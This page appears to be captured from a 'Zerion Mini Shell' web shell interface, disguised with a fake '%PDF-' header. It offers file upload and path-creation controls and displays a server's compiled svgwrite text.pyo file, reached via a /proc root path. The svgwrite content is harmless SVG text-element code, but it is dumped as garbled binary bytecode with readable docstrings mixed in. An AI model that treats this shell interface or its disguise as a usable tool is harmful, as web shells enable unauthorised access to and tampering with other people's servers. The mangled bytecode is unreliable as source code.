%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/svgwrite/
Upload File :
Create Path :
Current File : //proc/227033/root/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyo

�
���Rc@s�dZddlmZddlmZmZmZddlmZm	Z	m
Z
mZdeefd��YZdeefd��YZ
d	eeefd
��YZdeeefd��YZd
efd��YZdeeefd��YZdS(s�
Text that is to be rendered as part of an SVG document fragment is specified
using the **text** element. The characters to be drawn are expressed as XML
character data inside the **text** element.

i����(tBaseElement(tPresentationt	TransformtXLink(titerflatlisttstrlistt	is_stringt
to_unicodetTSpancBs8eZdZdZddddddd�Zd�ZRS(s%
    Within a **Text** element, text and font properties
    and the current text position can be adjusted with absolute or relative
    coordinate values by using the **TSpan** element.
    The characters to be drawn are expressed as XML character data inside the
    **TSpan** element.

    ttspanc	Kshtt|�j|�||_|dk	r~t|�rFtd��n|sR|ratd��n|dg}|dg}n|dk	r�tt	t
|��d�|d<n|dk	r�tt	t
|��d�|d<n|dk	rtt	t
|��d�|d<n|dk	r6tt	t
|��d�|d	<n|dk	rdtt	t
|��d�|d
<ndS(s�
        :param string text: **tspan** content
        :param 2-tuple insert: The **insert** parameter is the absolute insert point
                               of the text, don't use this parameter in combination
                               with the **x** or the **y** parameter.
        :param list x: list of absolute x-axis values for characters
        :param list y: list of absolute y-axis values for characters
        :param list dx: list of relative x-axis values for characters
        :param list dy: list of relative y-axis values for characters
        :param list rotate: list of rotation-values for characters (in degrees)

        sE'insert' should be a <tuple> or a <list>  with at least two elements.s;Use 'insert' and 'x' or 'y' parameter not at the same time!iit txtytdxtdytrotateN(tsuperRt__init__ttexttNoneRt	TypeErrort
ValueErrorRtlistR(	tselfRtinsertRRR
RRtextra((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyRs&	
""""cCs+tt|�j�}t|j�|_|S(N(RRtget_xmlRR(Rtxml((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyRCsN(t__name__t
__module__t__doc__telementnameRRR(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyRs%tTextcBseZdZdZRS(s�
    The **Text** element defines a graphics element consisting of text.
    The characters to be drawn are expressed as XML character data inside the
    **Text** element.

    R(RRRR(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR IstTRefcBs&eZdZdZd�Zd�ZRS(s�
    The textual content for a **Text** can be either character data directly
    embedded within the <text> element or the character data content of a
    referenced element, where the referencing is specified with a **TRef**
    element.

    ttrefcKs'tt|�j|�|j|�dS(sA
        :param element: create a reference this element, if element is a                         `string` its the **id** name of the referenced element,                         if element is a :class:`~svgwrite.base.BaseElement`                         the **id** SVG Attribute is used to create the reference.

        N(RR!Rtset_href(RtelementR((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR]scCs|j�tt|�j�S(N(t	update_idRR!R(R((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyRhs
(RRRRRR(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR!Ss	tTextPathcBs/eZdZdZdddd�Zd�ZRS(sx
    In addition to text drawn in a straight line, SVG also includes the
    ability to place text along the shape of a **path** element. To specify that
    a block of text is to be rendered along the shape of a **path**, include
    the given text within a **textPath** element which includes an **xlink:href**
    attribute with a IRI reference to a **path** element.

    ttextPathtaligntexactcKsutt|�j|�||_|dkr8||d<n|dkrQ||d<n|rd||d<n|j|�dS(s0
        :param path: link to **path**, **id** string or **Path** object
        :param string text: **textPath** content
        :param number startOffset: text starts with offset from begin of path.
        :param string method: ``align|stretch``
        :param string spacing: ``exact|auto``

        tstretchtmethodtautotspacingtstartOffsetN(RR&RRR#(RtpathRR.R+R-R((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyRxs
	


cCs5|j�tt|�j�}t|j�|_|S(N(R%RR&RRR(RR((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR�s
N(RRRRRRR(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR&mstTBreakcBs2eZdZd�Zd�Zd�Zd�ZRS(ttbreakcKstt|�j|�dS(N(RR0R(RR((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR�scCstd��dS(Ns,__getitem__() not supported by TBreak class.(tNotImplementedError(Rtkey((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyt__getitem__�scCstd��dS(Ns,__setitem__() not supported by TBreak class.(R2(RR3tvalue((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyt__setitem__�scCstd��dS(Ns$add() not supported by TBreak class.(R2(RR$((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pytadd�s(RRRRR4R6R7(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR0�s
			tTextAreacBs8eZdZdZdddd�Zd�Zd�ZRS(s
    At this time **textArea** is only available for SVG 1.2 Tiny profile.

    The **textArea**  element allows simplistic wrapping of text content within a
    given region. The `tiny` profile of SVG specifies a single rectangular region.
    Other profiles may allow a sequence of arbitrary shapes.

    Text wrapping via the **textArea** element is available as a lightweight and
    convenient facility for simple text wrapping where a complete box model layout
    engine is not required.

    The layout of wrapped text is user agent dependent; thus, content developers
    need to be aware that there might be different results, particularly with
    regard to where line breaks occur.

    The TextArea class wraps every text added by write() or writeline() as
    **tspan** element.

    ttextAreacKs�tt|�j|�|dk	r2|j|�n|dk	r]|d|d<|d|d<n|dk	r�|d|d<|d|d<ndS(NiRiRtwidththeight(RR8RRtwrite(RRRtsizeR((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR�scCs||d<dS(s" Set the line-spacing to *value*. sline-incrementN((RR5((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pytline_increment�scKs�d|kr%|jt||��nz|jd�}xA|d D]5}|rd|jt||��n|jt��q?W|dr�|jt|d|��ndS(s�
        Add text as **tspan** elements, with extra-params for the **tspan** element.

        Use the '\\n' character for line breaks.
        s
i����N(R7RtsplitR0(RRRtlinestline((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR<�s
N(RRRRRRR>R<(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyR8�s
	N(Rt
svgwrite.baseRtsvgwrite.mixinsRRRtsvgwrite.utilsRRRRRR R!R&R0R8(((s>/opt/alt/python27/lib/python2.7/site-packages/svgwrite/text.pyt<module>s"6
&

Zerion Mini Shell 1.0